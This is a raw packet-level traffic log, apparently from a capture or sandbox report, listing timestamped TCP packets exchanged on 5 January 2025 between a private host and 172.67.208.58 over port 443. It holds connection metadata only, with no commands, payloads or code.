Jan 5, 2025 19:50:27.659912109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.660202980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.739392042 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.739406109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.739492893 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.739506960 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.739556074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.739573002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.739605904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.739613056 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.739629030 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.739655972 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.739810944 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.739825010 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.739861965 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.739867926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.739880085 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.739988089 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.740139961 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.740159035 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.740192890 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.740199089 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.740247011 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.740247011 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.746007919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.746022940 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.746087074 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.746093035 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.746124983 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.746138096 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.746190071 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.746205091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.746242046 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.746248007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.746372938 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.746474028 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.746490955 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.746531963 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.746537924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.746782064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.746799946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.746829987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.746836901 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.746859074 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.746881008 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.826477051 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.826491117 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.826555014 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.826576948 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.826652050 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.826735020 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.826749086 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.826787949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.826793909 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.826817989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.826836109 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.827080965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.827097893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.827127934 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.827133894 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.827146053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.827157974 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.827164888 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.827172041 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.827186108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.827197075 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.827233076 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.833899021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.833913088 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.833954096 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.833961010 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.833973885 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.834026098 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.834059000 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.834073067 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.834114075 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.834120989 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.834213018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.834216118 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.834223986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.834245920 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.834264994 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.834292889 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.834297895 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.834317923 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.834331989 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.834358931 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.834367990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.834381104 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.834412098 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.913444996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.913460016 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.913511038 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.913518906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.913530111 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.913561106 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.913578987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.913609028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.913615942 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.913628101 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.913655996 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.913768053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.913780928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.913822889 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.913829088 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.913877010 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.913877010 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.914294004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.914307117 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.914338112 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.914347887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.914370060 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.914381981 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.920563936 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.920579910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.920654058 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.920660973 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.920686007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.920703888 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.921004057 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.921017885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.921047926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.921053886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.921078920 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.921098948 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.921330929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.921346903 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.921397924 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.921405077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.921607018 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.921770096 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.921786070 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.921832085 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.921838045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.921859980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.922106981 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.000442028 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.000458002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.000505924 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.000515938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.000531912 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.000555992 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.000639915 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.000653982 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.000699997 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.000706911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.000807047 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.000825882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.000857115 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.000868082 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.000885963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.000894070 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.000922918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.001138926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.001152992 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.001183987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.001190901 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.001219034 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.007543087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.007560968 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.007692099 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.007699013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.007761002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.007772923 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.007807970 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.007813931 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.007847071 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.007951975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.007971048 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.008003950 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.008009911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.008033037 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.050164938 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.053904057 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.053919077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.053971052 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.053981066 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.053998947 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.054110050 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.087390900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.087404013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.087454081 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.087461948 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.087481022 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.087501049 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.087553024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.087567091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.087599993 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.087605953 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.087631941 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.087645054 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.087836027 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.087850094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.087882042 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.087888002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.087913990 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.087929010 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.088027954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.088042021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.088068962 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.088074923 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.088099003 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.088114977 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.094453096 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.094466925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.094533920 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.094540119 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.094578981 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.094722033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.094739914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.094784975 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.094790936 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.094804049 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.094860077 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.095077991 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.095094919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.095125914 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.095132113 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.095159054 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.095175028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.140865088 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.140886068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.140943050 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.140954018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.141439915 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.174186945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.174202919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.174245119 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.174252033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.174278021 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.174292088 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.174489975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.174504042 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.174530029 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.174535036 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.174560070 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.174577951 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.174674034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.174690962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.174722910 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.174729109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.174741030 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.174877882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.174900055 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.174936056 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.174942970 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.174956083 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.175226927 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.181220055 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.181262016 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.181287050 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.181292057 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.181323051 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.181478024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.181495905 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.181519032 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.181529045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.181546926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.181829929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.181843996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.181886911 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.181895018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.181905031 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.221976042 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.227695942 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.227718115 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.227758884 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.227765083 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.227791071 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.227811098 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.261069059 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.261084080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.261132002 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.261138916 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.261295080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.261313915 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.261353970 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.261363029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.261385918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.261399031 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.261610985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.261627913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.261660099 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.261667013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.261693954 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.261708021 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.261919975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.261935949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.261960030 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.261965036 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.261985064 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.262036085 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.268096924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.268115044 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.268147945 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.268153906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.268176079 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.268188953 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.268378973 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.268394947 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.268423080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.268429041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.268452883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.268466949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.268660069 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.268680096 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.268724918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.268731117 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.268752098 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.268774986 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.314727068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.314745903 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.314788103 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.314796925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.314825058 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.314838886 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.348052979 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.348069906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.348117113 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.348123074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.348145962 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.348155022 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.348211050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.348227024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.348254919 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.348259926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.348298073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.348310947 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.348453999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.348476887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.348529100 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.348540068 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.348540068 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.348547935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.348581076 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.348599911 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.348790884 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.348808050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.348855019 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.348861933 CET	443	49746	172.67.208.58	192.168.2.4
